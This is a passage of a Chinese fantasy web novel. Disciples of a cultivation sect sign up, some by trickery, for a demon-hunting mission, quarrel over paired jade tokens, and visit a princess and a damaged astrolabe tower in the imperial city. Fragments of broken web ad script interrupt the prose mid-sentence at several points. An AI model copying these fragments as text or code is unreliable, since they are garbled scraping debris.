等人尽数到齐,门口的弟子们才最后进来,殿门轻阖。 顾长风等人自队尾走上前,分列两旁。 若阳走到中间,双手抱拳:“启禀掌门,三位长老,学徒共计七十八位,现已到齐。” 弟子们六个一排,站了十几排,却没一人敢说话,大殿落针可闻。 若阳汇报完退下,挨着顾长风站好了。 执明和云宸眼神请示后便开始了:“在座也都知道今日来此所为何事,我也就不耽误大家时间了,直接开始吧!” 执明说着示意一旁,泽成会意,凭空化出一个匣子,打开后取出一颗绿油油、造型奇特的灵石,又将匣子收了。 泽成对着石头摆弄了一通,它就化成了一面巨大的石镜立在一旁,大到足以让所有人看清上面的名字。 执明看向众人:“之前也说了,此次除妖凶险,但不失为一个好的历练机会,若有意愿下山者,只需握住你们手里的石头,默念自己的名字即可,这面石镜上自会显现。全凭自愿,不强求。” 等了好一会儿,石镜上都没出现一个名字。 执明尴尬地清了清嗓子:“也不白让你们跑一趟,此次参与下山历练者,可以提前成为正式弟子,并直接进入一年后的亲传弟子考核,不需要考进前十。” 此语一出,底下顿时炸开了锅,不少弟子蠢蠢欲动。 “还有这好事,那我也来!”裴佩说着准备举手。 夏侯静仪连忙拉住她:“你冷静一点,成为正式弟子和活着,你选哪个?” 裴佩吓得缩回手。 其他弟子也是同样的担忧,虽然条件很诱人,但也间接体现了此次任务的凶险程度,没人有胆量放手一搏。 一片混乱间,叶清漪发现她的名字,不知何时出现在了石镜之上! 叶清漪:……?!! 70. 报名风波 “叶清漪,你的名字在上面!”裴佩惊呼。 “我没报名。”叶清漪袖袋里取出问心石,“我刚才就没拿石头。” “这是怎么回事啊?”夏侯静仪问。 其他人也都看到了,议论声此起彼伏,各怀心思。 “这位叶小徒,颇有胆量啊!勇气可嘉。”执明已经二话不说开始表扬她,还对云宸说,“不愧为这批弟子中的佼佼之辈啊!” “佼佼之辈”叶清漪此时正回头张望着什么,执明此言一出,有几个人很明显地露出鄙夷,随即许欣月的得意之色被她抓了个正着,二人目光在半空相遇,许欣月也不掩饰,直接扬了扬眉向她示威。 云宸听到执明的话并没有过多表示,沉吟片刻后,对着下方道:“此次历练非比寻常,不是门中的例行试炼,虽然鼓励大家踊跃报名,但也要根据自身情况来,不要贪功冒进!” 云宸的语气一如既往,也没有刻意针对,但落在叶清漪耳中却不是这么回事。 许久未见,叶清漪总感觉云宸对她的态度也发生了细微的转变。 执明也有些错愕,觑了一眼云宸,忙跟着改口:“是……是啊,各位也不要太过莽撞,要量力而行。” 看这架势,叶清漪知道争辩也是无益,加上她之前几次的行为,大家心中已经认定了他们以为的事实,就从顾长风连喜等人的反应也能窥见一二。 执明又补充了几句,大抵都是一个意思,话里话外地暗示叶清漪还可以反悔,偏叶清漪一点反应也没有,执明干笑两声,掩饰尴尬:“哈哈哈,那什么,还有人要报名的吗?” 叶清漪摩挲着手中的石头,光滑且棱角分明,她出神片刻,忽然抬眼,嘴角扬起一丝不易察觉的弧度。 只见石镜之上赫然浮现三个大字: 许——欣——月! 许欣月顿时慌了。 “她怎么也敢上啊?” “是啊,她跟叶清漪能比吗?人家可是跟着师兄们历练惯了的。” “就是,凭她那半吊子的修为,也想出风头,真是不自量力……” 悠悠众口没有放过任何人。 “好,这位……许小徒,也很有勇气,不知是哪位啊?” 执明茫然的神情显然刺痛了许欣月。 叶清漪避开众人的视线,回给许欣月一个得逞的眼神。 许欣月又气又急,指着叶清漪控诉:“不是我报名的!是她,是她替我报的!” 在场众人神色各异,视线再次回到叶清漪身上。 执明的视线在二人之间扫了个来回,意味深长一笑:“哦?你可有证据?” 许欣月举着自己的石头,越众而出:“我根本就没报名,是她用自己的石头替我报的!” 事态转变得过于精彩,议论声一波高过一波。 裴佩和夏侯静仪也都看向她,只有叶清漪自始至终不曾多说一句。 执明又跟另外两位长老讨论了片刻,才向众人声明:“适才与二位长老确认过了,问心石是上等灵石,是不会出现这种失误的。” 许欣月急了:“分明就是她……” 执明一个眼神投过去:“问心石碎片已被施过法,只能报一个名字,以你这么说,那叶仙徒自己的名字,又是何人替她报的?” 语气虽然很温和,但这言语间的洞察之力已自带压迫感。 许欣月再迟钝也反应过来是什么情况了,慌乱不已,支支吾吾,说不出一句完整的话来。 执明又不动声色给了泽成一个眼神。 泽成立刻会意,上前一步高声道:“历练是很严肃的事情,还请各位师弟师妹专注自身,不要动歪心思扰乱秩序。” 说着毫不掩饰给了许欣月一个眼神警告。 裴佩此时已经反应过来是什么情况了,夏侯静仪还是一头雾水。 “什么意思,到底能不能替别人报名啊!” “你怎么还没听明白!”裴佩低声给她分析,“长老先是说不会出现失误,现在又警告大家,说明是可以的。” “什么?” “你小点声……” 裴佩打量了一圈四周,见无人注意才继续道:“如果不能,清漪和这个许欣月都是给自己报名的话,许欣月上演这么一出,也是有陷害清漪的嫌疑,因为一个石头只能用一次,我想更有可能是许欣月用自己的石头替清漪报了名,想报复清漪,只是没想到清漪用其人之道还治其人之身,也给她报了名,这才慌了!” 夏侯静仪似懂非懂地点点头,片刻后终于听明白了,愤愤不平:“她这人怎么这样?我们清漪又没招她惹她。” 裴佩不善地打量着许欣月,道:“也不需要什么理由,有人天生就是这样。” 夏侯静仪一脸茫然:“正常人谁会想到替别人报名啊!我不理解。” 裴佩抱臂在旁,眼底尽是鄙夷:“她这种人的行为,一般人也理解不了。” 旁人不清楚,叶清漪是最知道其中原委的,是她用石头替许欣月报的名,说明问心石是可以替他人报名的,执明肯定也知道,之所以否认,是怕众人争相效仿,引起混乱。 加上泽成又警告过了,一时间也没人敢再动歪心思。 趁着局势尚未失控,执明又询问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有谁要接着报名。 又是满堂鸦雀无声。 执明挠了挠头,看了眼一旁的几个大弟子。 随时待命的泽成和他的视线对上,等了一会儿发现没有指示,犹豫地皱起眉。 “注意,你师尊要卖我们了。”连喜看出端倪。 泽成不明所以:“???” 下一刻就听见执明爽朗的笑声。 泽成扶额:“完了……” “大家不必有顾虑,此次将由我来带队,同行的还有好几位师兄,每人负责带一位仙徒,形影不离,绝对保证大家的安全,从亲传到内门,看看!都是拿得出手的!先从几个大弟子排起,先报名的先安排!机会不等人啊!” 泽成、连喜、顾长风:“………………” 叶清漪扫了一眼,上一批里女弟子留下的不多,一只手都数得过来,今日更是一个都没来,按修为来排,至少如今的大师姐是应该来的,如今看来,只怕是已经下山了。几个内门弟子加上三位大弟子,一共是九位,每人带一个,便是一十八位,看来是为了方便随时列阵。 只是若按顺序安排组队,那她岂不是…… 叶清漪一个晃神,恰好跟顾长风的视线相遇。 “!!!” 二人几乎同时别开脸。 叶清漪两眼一黑:这次真是被许欣月坑惨了! “还有吗?大家踊跃一点啊!已经有师妹给你们作了榜样,师弟们呢?没有人带头吗?”连喜不知出于什么心理,开始下场拱火。 憋了一会,石镜上出现新的名字。 “这位清泽小徒甚好啊!”执明一开口,清泽立即会意上前,“你就跟着你泽成师兄吧!正好名字里都有‘泽’,也是有缘。” 清泽拱手行礼,退至一旁。 清泽带头后,陆续又有几位报了名,之前打过照面的颜祈萱,松泉也在,另有席玉,沐月,景策三人,他们的名字依次出现在石镜上,有几位叶清漪不认识,对名字更是没印象,不过如今看来,另一位师妹应该就是沐月,剩下两位谁是谁,她就对不上了。 从刚才开始,许欣月就不时往队伍的某个方向张望,叶清漪回头看了两眼,人太多,不能确定她看的是谁,但叶清漪猜测是唐旖柔。 “剩下的人抓紧了,一共就八个名额,满了就没有了。”执明改变了策略,任务快完成了,语气比起之前悠哉不少。 眼看石镜上一个个名字显现又淡去,许欣月越发焦虑。 直到景策的名字淡去,一段不算漫长的空白之后,石镜上再次浮现新的名字。 唐——旖——柔。 71. 获得玉牌 “好了,最后一个人选也确定了。”整个场上,大概只有执明一个人是真正开心的。 话音刚落,一旁的小师弟便端着个托盘走上前。 执明起身,向前两步,招招手:“所有报上名的弟子都到台上来。” 唐旖柔一边越过众人往前走,一边毫不避讳地扭头盯着叶清漪。 叶清漪看得有趣,也不回避,坦然回视。 唐旖柔到底也只有十七八岁,没一会儿就眼神闪躲,对叶清漪眼里的玩味和不符合年龄的超脱更是不解,只好假装若无其事地移开视线,在这场无声的交锋中还是落了下风。 叶清漪也走上前,站到离所有人最远的位置。 “此次下山,每个人会分配半枚玉牌,两两一对,可以互相感应,用于联系彼此。一半已经在他们手里了,这里的剩下的另一半,那便按报名的顺序上前领取吧!”执明说着以眼神示意叶清漪。 叶清漪避无可避,只好上前。 红色盘底上摆着一排溜九枚玉牌,质地温润,呈青灰色,只有寻常内门弟子玉牌一半的大小,雕刻成鸟兽形状。 叶清漪看向顾长风腰间佩戴的玉牌,拿了形状相同的左手起的第一个,随后退回原位,假装没有看到对面那两双幽怨的眼神。 其他人也依次上前领了玉牌。 执明很是满意,转身向云宸拱手:“云舟已在凌云广场旁停好了,随时可以启程。” 云宸颔首,作势要起身离去。 “那今日便到此罢!报上名的回去准备一下,半个时辰后在凌云广场集合,其他人可以回去休息了。”执明说完也跟着云宸下去了。 其他二位长老也紧随其后离开。 泽成忙着将问天石收回,拿托盘的弟子也将东西妥善放好,收拾完毕后,这些内门弟子便留在殿内,没有回去的意思,估计待会儿直接去凌云广场了。 侥幸逃过一劫的仙徒们忙不迭地散了,叶清漪虽然也没什么需要收拾的,但也不想半个时辰都在这跟他们大眼瞪小眼,便也准备离开。 一转身却被唐旖柔和许欣月拦住去路。 裴佩和夏侯静仪一直等在一旁,一见情形不对,连忙拥过来,一左一右护着叶清漪。 “许欣月,你想干嘛?”裴佩挽着叶清漪,挡在她和许欣月中间。 许欣月:“叶师姐这次总算得意了,拿到和大师兄一对的玉牌,心里都乐开花了吧!” 叶清漪眯眼笑了笑:“可不嘛!还得多谢许师妹你啊!要不是你,我的名字哪能出现在问天石上呢?” 许欣月气结:“你!” 许欣月气得不行,看了眼唐旖柔的反应,又接着说:“识相的就将玉牌交出来,跟唐师姐换一个!” “凭什么!”裴佩提高了声调。 叶清漪看了一眼,不远处的顾长风似乎注意到了这里。 叶清漪一时来了兴致,拿出玉牌,问:“为何?” 许欣月顿了一下,强行解释起来:“唐师姐是我们里考核成绩最好的,她和大师兄一起,才更容易除妖啊!你就只会拖后腿,回头大师兄还得反过来照顾你!” 叶清漪想了想:“好像有点道理……” 唐旖柔终于抬眼,神情有了一丝松动。 许欣月也跟着赔笑:“是吧!” “你们欺人太甚了!说谁拖后腿呢!”裴佩骂骂咧咧,眼看就要冲上去。 叶清漪拉住她,示意她稍安勿躁。 “那不如亲自问问大师兄吧!毕竟换玉牌也不是我一个人的事。”叶清漪说着看向顾长风的方向,准备过去。 许欣月慌了。 这时,一直没有开口的唐旖柔往边上移了一步,恰好挡住她的去路。 叶清漪抬眼,和唐旖柔的视线短兵相接,谁也不让着谁。 不知不觉,叶清漪进山也快两年了,这两年里规律饮食,努力修炼,身量长了不少,和唐旖柔差不多高,气势也足够。 二人正暗自较劲,许欣月连忙出言打断:“这种小事麻烦大师兄作什么?” 许欣月说着想直接上手,被裴佩一抬手挡开了:“怎么?还想直接抢啊?” “原来唐师姐想要我的玉牌啊!那为何不亲自与我说呢,非得要让旁人替你要,看来唐师姐也不是那么想要,还是说,唐师姐一向最擅长假手于人?”叶清漪毫不留情地点破唐旖柔的伎俩。 “那又如何?结果才是最重要的。”唐旖柔也不否认。 “结果?”叶清漪轻笑,“那是不是可以理解为,唐师姐为了目的可以不择手段?包括,利用别人。”最后一句,叶清漪是对着许欣月说的。 裴佩配合地捂嘴惊呼:“唐师姐,你……你竟是这样的人吗?” 只有一旁的夏侯静仪还没搞清楚状况。 许欣月脸上有些挂不住,连忙否认:“我那是看不过去了,才替唐师姐开口的,她向来不争不抢,才不在意这些!” 叶清漪漫不经心地笑着:“哦?是吗?既然不争不抢,那唐师姐又为何执意要我的玉牌呢?” “她……”许欣月被问住了,愣愣看向唐旖柔,神情间有些自我怀疑。 相比之下,唐旖柔倒显得镇定许多:“你不必费心曲解他人,你敢说你留着玉牌就没有私心吗?” 叶清漪片刻没犹豫:“有啊,我又没说没有。” 转头瞥见快走到唐旖柔身后的顾长风,面不改色地干笑两声:“我这不是怕死嘛!你都说了我不如唐师姐厉害,对我来说,自然是自己的小命要紧!” 顾长风眼角一跳。 唐旖柔错愕不已,眼见跟叶清漪掰扯不清,干脆直接上手,要抢玉牌。 裴佩要拦,被许欣月牢牢挡住。 夏侯静仪帮着叶清漪一起,但奈何力气太小,使不上劲。 叶清漪踮着脚,努力将玉牌举过头顶。 唐旖柔双手并用,拉着叶清漪的胳膊,去够她手里的玉牌,眼看就要够上了,她的手忽然被人一把抓住。 唐旖柔回头,顾长风正站在她身后。 “唐师妹这是做什么?” 唐旖柔连忙松手:“我……” “没什么,我们闹着玩呢!是吧!叶师姐?”许欣月语气里带着莫名其妙的暗示。 “啊?是吗?不是你说的让我和唐旖柔换玉牌吗?”叶清漪一脸无辜。 “是这样吗?”顾长风松开唐旖柔,后退一步问道。 唐旖柔低着头,并不回应。 顾长风转而看向叶清漪。 叶清漪也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不避开,直直望回去。 “叶……”顾长风刚想说什么,就被随后赶来的连喜打断了。 “你们在干嘛呢?这么热闹?”连喜说着用眼神和叶清漪打了个招呼。 没人接话。 连喜不以为意,见叶清漪手里拿着玉牌,自顾自地跟顾长风说:“对了,咱俩要不要换换,我想跟叶师妹一组。” 连喜像是没察觉出气氛的微妙,还将自己的玉牌递到顾长风面前。 顾长风一时有些不知如何应对。 许欣月一听,不乐意了,像是开玩笑一般说:“二师兄这是不愿与我一组吗?” 连喜不假思索:“对啊!” 语气平淡,且理所当然。 “你,你……”许欣月气得“你”了半天,碍于连喜的身份又不好发作。 叶清漪看着眼前的局势,拿起玉牌在手里掂了掂,心中已有计较:“既然要换,那干脆都换了。” 叶清漪转向许欣月:“你不是让我跟唐旖柔换吗?我可以跟她换,但你得把你的玉牌给我。” 许欣月有些不明白。 叶清漪用玉牌比划了一下:“大师兄和二师兄,你选一个吧!” 唐旖柔似乎接受了这个提议,别有深意地看向许欣月,意思是等她表态。 许欣月又慌又乱,不明白事情怎么一下就落到她头上了,支支吾吾,半天没有下文。 “够了!”顾长风厉声制止,声音虽然不大,但难得带了点怒气,将她们都吓了一跳,唐旖柔更是错愕看着顾长风,仿佛从没见过他这般模样。 “下山除妖一事,长老如此安排自有深意。“顾长风缓和了语气,欲盖弥彰地解释,“若是人人都私下调整,未免太过儿戏,长老也不好安排任务,就按定好的来吧!二师弟,你随我出来一趟。” 顾长风匆匆说完,便要拉上连喜一起离开。 连喜口中应着,面上倒一点不急,还不忘跟叶清漪多说两句:“这玉牌就是个摆设,你别太当回事了。回头咱俩一起啊!” 顾长风又催促了两声,连喜这才不紧不慢地往外走,还不忘跟叶清漪打招呼:“那我先过去,晚点在凌云广场见!” 叶清漪欣慰一笑,点点头,答应了。 许欣月脸都气绿了。 唐旖柔更是二话不说转身就走,一刻也不想多待。 许欣月狠狠瞪了叶清漪一眼,也跟上去了。 “你再瞪一个试试!”裴佩指着许欣月的背影骂,上前挽紧了叶清漪的胳膊,嘱咐道,“你这一去可得当心了,我俩都不在,你可得提防着她俩!” 夏侯静仪也连忙附和:“是啊!你一个人可得小心些……” 裴佩恨铁不成钢:“你现在知道说了,刚才怎么人都傻了,也不知道搭把手,我们好歹人比她们多啊!” 夏侯弱弱道:“我帮了,但我力气没她们大……” 裴佩一摆手:“算了也指望不上你,清漪你可得保重啊!这次下山不知道要去多久,如今又跟唐旖柔她们结了怨!千万要当心!我看二师兄挺好的,你要是有什么事,可以找他帮忙!” “嗯。”叶清漪应了,低头一看,她手里不知何时多了块玉牌。 就在刚刚,连喜把他的玉牌给了她。 72. 皇城除妖 在寝舍稍作休息,眼看出发的时辰快到了,叶清漪提上青锋剑准备出门,裴佩和夏侯依依不舍,送她到院子外面,她也不多说什么,干脆地离开了。 赶到凌云广场时,弟子们已经到的七七八八了,正几个人一堆地闲聊着。 叶清漪左右张望了一会儿,没看见连喜,便在云舟旁等着,唐旖柔和许欣月随后而至,手持佩剑一前一后地从她面前走过,唐旖柔依旧没什么表情,只是许欣月看起来似乎不是很高兴,恨恨地瞪着叶清漪。 叶清漪已经习惯,假装没看到地移开视线。 没一会儿连喜来了。 “叶师妹!”连喜远远冲她招手,三步并作两步走到她面前。 “怎么样?”他走到近前,别有深意地问。 叶清漪摊开手。 看着叶清漪手中的玉牌,连喜有些不解:“你怎么……” “多谢你的好意,之后没再遇到麻烦,现在物归原主吧!” 连喜略显犹豫,叶清漪又将玉牌往他面前递了递。 “好吧……”他不情不愿地将玉牌拿回,眉宇间似是有些失落。 叶清漪不由得暗笑,低头掩饰过去,尽量不让连喜发觉。 这时顾长风和泽成也来了,身后跟着那几位内门弟子,穿过凌云广场时,顾长风还特意往他们这边看了一眼。 这倒让叶清漪想起了一件事,她扯了扯连喜的衣袖:“方才顾长风找你有什么事吗?” “没什么,他就是嘱咐我下山后要多多照看你们,不要出差错之类的,你懂的,就是例行关照。” 叶清漪点点头表示理解。 不久后执明也来了,若阳清点了一下人数,确定人都到齐了。 顾长风便请示执明,是不是可以出发了。 执明抬手示意他:“再等等,还有一人未到。” 弟子们已全部到齐,还能有谁? 执明端着个意味不明的笑,一副故作高深的模样。 等了许久也不见人来,只是长老发话,弟子们不敢抱怨,都耐着性子等着。 叶清漪站得累了,干脆倚着云舟边缘,有一搭没一搭地把玩着剑穗,青色的流苏,在手心滑过,尽数散开,落下后又恢复如初,叶清漪就这般来回打着剑穗玩,连喜见她这般也没有指责,再加上不是正式的集合,对弟子的要求也没那么严格。 就在叶清漪打算开始数流苏的根数时,一声清鸣破空而起,一剑划破苍穹,穿过层层流云,直奔凌云广场而来。 细看之下,剑身泛着幽幽紫光,叶清漪一眼认出那是紫霄剑。 云宸他……也要去吗? 紫霄落地的瞬间,化成一团白雾,一袭白衣的云宸自雾中款步而出,白雾迅速散去,紫霄剑也不见踪影。 执明微微欠身,向云宸行礼。 在最初的错愕后,弟子们也缓过神来,齐声行礼。 叶清漪抱剑拱手,没想到云宸已经达到人剑合一的境界,看来之前闭关的效果很好。 这时离她较近的一位弟子忍不住暗暗说了句:怎么掌门也要去啊,真是扫兴! 他边上的人大概是看到连喜在这,连忙提醒他:师兄慎言,此行是去除妖,又不是下山游玩的! 那弟子也意识到失言,悻悻住了嘴。 只是话虽如此,云宸一来,广场上的气氛的确压抑不少,虽然有掌门随行除妖更有把握,但还是难免有些抗拒。 毕竟此行只怕是要与掌门时刻待在一处,不比在门中,半个月也不见得能见云宸一次,外门弟子和仙徒更是一年见不了几次,肯定倍感压力。 只有执明是最开心的:“这次情况特殊,临时改为掌门带队,我就留在门中处理要务了,不能跟大家一起下山,深表遗憾,但是掌门来带你们肯定比我来带更安全,更能保护你们。” 叶清漪没看出执明有半点遗憾的样子,反倒是嘴角都快翘到天上去了。 连喜忍不住真诚发问:“你说执明长老这种行事做派,是怎么收到泽成这么靠谱的弟子的?” 叶清漪不置可否,其实她刚才也想这么说的。 人都到齐了,顾长风和泽成开始组织弟子们上云舟,连喜一向不管事,扶着云舟边沿直接跳了上去,挑了个最靠后的位置坐下,还对叶清漪招手让她过去,一副找到好地方的骄傲神情。 叶清漪也手一撑云舟边缘,翻了过去,走到船尾,挨着连喜坐下。 叶清漪坐下后才发现,连喜看似随意找了个地方,实则可以看到所有人的动向。 云宸则坐在了最前面。 经过一番折腾,一行人终于都上了云舟,在云宸的法力控制 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下缓缓启程,留在广场的执明一脸“惋惜”地冲他们招手,目送他们离去。 叶清漪:………… 云舟日行千里,须臾已至冀州城下,此次进城同上次接弟子入山不同,不宜大张旗鼓,进城后便改为步行。 虽然叶清漪觉得一行人穿着修仙制服,提着剑走在主街上,好像更高调。 冀州城区不大,布局很是规整,主街贯穿南北,沿街商铺林立,热闹非凡,沿着主街一直往北,便是皇城万安,其他街道纵横交错,连接着城中上百户宅院,民宅靠主街比较近,达官显贵的宅院则分布在远离主街的僻静城区,且大多出行便利,无论是去皇城还是去主街商铺,乃至出城,都十分方便。 云仞弟子都是从世家子弟中选拔出来的,进城这一路势必要路过他们本家,不过此次情况特殊,所以任何人不能回去探望,更不能泄露行踪和使命,这是历练必备的素养。 否则人心涣散,各自行动,别说除妖了,只怕见到家人,回到舒适的深宅大院,骨头都懒了,连仙门都不想回呢! 是以除了入皇城面见长公主,以及结队前去除妖之外,弟子们不得擅自行动。 叶清漪正和连喜并肩走在队伍中,恰好听到身边有弟子忍不住提起本家所在,言语间难掩失落,不由得好奇连喜的来历。 一入仙门,便要将俗家身份暂时抛之脑后,叶清漪也不好贸然追问。 连喜不知道叶清漪的心思,只看她心不在焉,以为她也想念本家,还不忘体贴地宽慰她。 叶清漪只得含糊应过。 如此这般,一行人眨眼已至皇城外,守城的将士认出云宸,利索地打开城门放行。 叶清漪不是第一次进皇城,其他弟子中更是不乏身份尊贵之辈,有的可能很小就进皇城面过圣,参加过宫中家宴,有的甚至干脆就是皇子公主们的伴读,对皇城都很熟悉。 只有连喜神情茫然,偷偷打量四周,像是对皇城十分陌生。 叶清漪将他的神色尽收眼底,暗中心思流转,仙门弟子都是世家和高门贵户选擢出来的,她也一直以为连喜是哪位世家子弟,如今想来,她似乎没听说过有姓连的世家大族,但也可能是哪个世族的旁系也未可知,倒是不能妄下决断。 眼见快到长乐宫了,叶清漪只得将心思收起,准备面见公主。 73. 入占星阁 由于受到邪灵侵袭,皇城一点年节的气氛都没有,虽称不上萧条,但比平日还要冷清。 叶清漪也曾参加过岁末的宫宴,本该装点一新的宫殿一派萧索,整个皇城弥漫着一股低迷之气。 长乐宫亦是如此,宫仆们屏息垂首快步走动着,大气也不敢出,往正殿这一路,叶清漪都被这压抑的氛围弄得心头沉沉的,她深吸一口气,想将胸中的闷气吐出,不过看上去似乎并没有起到作用。 侍卫长袁翀从垂花门后迎出来:“执明长老早早派了传音兽过来,长公主已在明华殿等候多时了,众位仙长请随我来。” 明华殿是西偏殿,没走两步就到了,长乐宫并不奢华,甚至有些简陋,长公主不喜俗物,认为外物过多累身累心,每日大部分时间都待在明华殿里,协助圣上处理庶务,操持国中大小事宜,还要监管占星阁,维护与仙门的关系,的确也没有时间享乐。 长乐这个名字,反倒显得有些讽刺了。 一行人进得明华殿,长公主云华正站在左侧的书案前翻看折子,殿内并无随侍,陈设也很简单,也没有花花绿绿的布置,置身其中,很容易便沉下心来。 长公主二十几岁,一身交领窄袖云锦素色常服,清雅特立,不拘世俗;长发高高束起,简单用银环扣了,自脑后垂下,和云仞寻常弟子的打扮一般无二。 听到动静,她自折子上望过来,眼中有着难掩的疲惫,见到云宸等人,她面上神色一缓,放下折子,将云宸往中央的两把楠木交椅上引,下设两排各八张交椅,弟子们无人落座,皆持剑立在堂下。 长公主也不多余客套,单刀直入:“劳烦掌门跑这一趟了,实在是邪灵作祟,百姓不堪其扰,占星阁的罗盘已被入侵的魔气损毁,无法检测出邪灵所在,这才不得不请掌门出面。” 皇城有九龙之气镇守,居然也能被魔气侵扰,都城的寻常人家更不必说了。 云宸微微欠身:“公主言重了,除妖本是仙门分内之事,况且师尊飞升前再三嘱咐,要多多看顾皇城和公主,公主无恙,社稷才能安定,这也是云仞存在的意义。” 长公主出生那日,天降祥瑞,万安城上空烟霞满天,百鸟齐鸣,盘旋天际久未离去,她的命格自出生起便与国运一脉相连,这也注定了她此生不能只为自己而活。 可国主却为其取名长乐,直到入云仞之后,为了表示对公主的重视,云徵特为其取了法号云华,公主才将此作为本名。 “难为师尊还惦念着,当年本想在门中多待几年,奈何被俗世牵绊,又逢皇祖母染疾,只得提前下山。”听云宸提起旧事,云华也难得多说几句,当初为了向云仞表达友好,年仅七岁的云华曾被安排进山修习,等年满十岁再下山,只是最后不到两年就被提前接回了皇城。 提及修习的岁月,云华眉宇间也难得流露出一丝怀念,可以看出,那是于她而言意义非凡的一段时光,她如今仍旧保留了不少在仙门的生活习惯。 “只可惜没能恭送师尊飞升。”云华最后说道。 云宸也颇为感慨,眼见公主有些伤怀,他忙问起邪灵的情况。 云华将思绪收回,定了定道:“此次邪灵来势汹汹,毫无征兆,又选在年节之前,只怕是魔界有意试探,意图单方面毁掉这些年难得建立起的安定局面,一旦冲突爆发,生灵涂炭在所难免,仙门几代人的心血也将毁于一旦。” 云华说的没错,不过这次除妖还算顺利,结局也很圆满,如今虽然提前了,但有云宸在,应该不会出岔子。 “这次情况比较复杂,其实早在月余之前就显现了端倪,只是都没引起重视。起先只是一些寻常的魔气异常,一年隔几个月总会有这种情况,占星阁派人前去,很快就处理了,没过多久魔气又卷土重来,散落在城中各处,在极短的时间扩散开来,逐渐越聚越多,直至不可遏制,占星阁的罗盘也因超过负荷损毁,但是很快,所有魔气一夕之间全部消散,被魔气侵 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 扰的人也恢复了正常,本以为一切就此结束,不曾想半个月前,城中开始出现怪异之事……” 长公主将最近发生的事情简单跟云宸说了,众位弟子听得惊愕不已,只有叶清漪比较平静。 这次的邪灵的确比较棘手,因为他并不是什么单纯的魔修,而是由天地间第一缕魔气幻化成的魔族之后,魔主赤焱的后代,名曰风往,无形无识,可以变化成任何样子,靠吸食人心中的恶念壮大自己。 若前去除妖之人心有杂念,便会被其利用,反噬自身,杂念越多,受到反噬越大。 这次下山的弟子大多连口腹之欲都没完全戒除,何谈七情六欲。不过清除城中各处的魔气,收服趁乱作祟的小妖倒是没问题。 “此次邪灵行踪诡秘,难以捕捉,但这还不是最麻烦的,如今还有个问题,之前那些被魔气侵扰的人纷纷性情大变,不是上街胡乱砍人,就是对着至亲破口大骂,个别修为不低的人,更是随意破坏他人屋舍,打砸商铺,禁卫军也曾前去围剿,一部分被羁押在狱,另一些则逃入城东的远郊地区,不知所踪,都城人人自危,关门闭户,人心惶惶。” 云宸听罢,沉吟片刻:“情况的确有些复杂,但也不是完全没有办法,我先安排人到各处查探,张贴符纸,再以清心咒镇压城中魔气,加固护城结界,想来可以抵御魔气再度侵袭,只是最主要的还是找出邪灵栖身之所,以及寻回那些在逃之人。” 长公主微微颔首,眉头略有舒展。 “不过当务之急,我想先去看看占星阁的情况,顺带修复罗盘。” “可以,”长公主当即首肯,“此次事关重大,我也随你们同去。” 占星阁位于皇城东南方向,是整个都城的制高点。 叶清漪远远就看见占星阁顶层的巨大罗盘,那是用来观测城中魔气的情况的,若有异动,罗盘会迅速示警,好让人早做防范,只是如今,那罗盘已黯然失色,说明已经严重损毁了。 74. 修复罗盘 占星阁共有七层,阁内纵深与开间等长,顶楼放置罗盘,取天圆地方之意。 四周是一圈通顶的书柜,一层收录每日观测的星辰预示、魔气监测结果,方便随时取阅;二层往上按时间远近自上而下,存放着开国以来历年的魔气变动、当年魔族侵袭情况、除魔大事记等等。 占星阁内是没有做楼梯的,能一口气飞上顶层,且维持一炷香时间,是入占星阁最基本的测试,在占星阁任职的,也多为各大仙门的仙徒,同时也为了防止寻常人误闯,导致资料外泄,或是居心叵测之辈潜入阁中窃取机密。 长公主在袁翀的陪护下与云宸一同进入阁内,弟子们也跟在后面鱼贯而入,默契地分散站位,窸窸窣窣地排开。 阁内并无星使,大约是因着罗盘损毁,暂时不必当值了。 一层正中间摆放着一个日晷模样的石盘,只是上面标注的乃是二十八星宿,与罗盘上的刻度对应。 “这是……” “此名月影,其上刻度与上方的罗盘乃是一一对应的,在月影上可以直接看到罗盘的指针指向,不必每次都飞上飞下,也可以节省星使们的时间,只是如今星盘损毁,月影上也就没有投射了。”长公主耐心解释着。 云宸了然,随即上前查看了一番:“星盘每个方位皆有不同程度的损毁,其中又以东方的氐宿、角宿和亢宿,以及南方的翼、轸两宿损毁最严重,看来邪灵多是盘踞在都城东南方。” “东南方,是城郊的玄清观所在。”见云华面露疑云,袁翀立马上前提醒。 “那不是玄清天师的道观吗?邪灵怎么会在那?”云华蹙眉。 “城郊还有落烟谷、翠湖山庄,和一大片杉树林,相爷的别院也在那里。”袁翀陈述着城郊的情况。 长公主点头:“知道了。” 云宸拱手行礼:“之前晏世子的事情,仙门也有不是,总归是断了护国公唯一的血脉,还望公主赎罪!” 公主虚扶他一把:“掌门何错之有,事情我都听说了,私自修习魔修,本就违反了门规,还恶意攻击同门,也算他咎由自取!” 叶清漪不知为何有些心虚,低下头往前面人身后藏了藏,还扯了扯连喜的衣袖,掐着嗓子提醒:“你别看!” 连喜没有动。 云宸最后说了句“公主大义”,二人就将此事揭过了。 云宸抬头看向顶层的罗盘,由于占星阁中间没有设置楼层,那罗盘是由四块灵力互斥的灵石固定的,灵石嵌在顶层楼体的四个方位,将罗盘固定在灵石生成的结界中,如今四块灵石都有不同程度的损毁,并且损毁的程度与月影上的情况对应,从他们的位置向上望,可以直接看到罗盘斜斜悬浮在阁顶,东南角缺损严重。 “罗盘损毁之时有不少碎石掉落,所幸并无人员伤亡。”长公主解释道。 云宸表示了然,又问:“碎石可曾留下?” 长公主看向袁翀。 “都在,当时碎石上还残留了一些魔气,所以都保留了下来。”袁翀说着一抬手,一个锦盒从一侧的书柜中飞出,落在他手上,袁翀打开,呈与长公主。 云华扫了一眼,做了个手势,示意他直接递给云宸。 从叶清漪的角度望去,隐隐可见盒内还有些许魔气,但无法逸出,估计是用桃木做的锦盒。 云宸就着袁翀的手,在碎石上拂了一把,驱散了其上的魔气,接着转动手腕,那些碎石便随着他的心意飞出,云宸再次施加功法,双手结印,引着碎石往上方的罗盘而去。 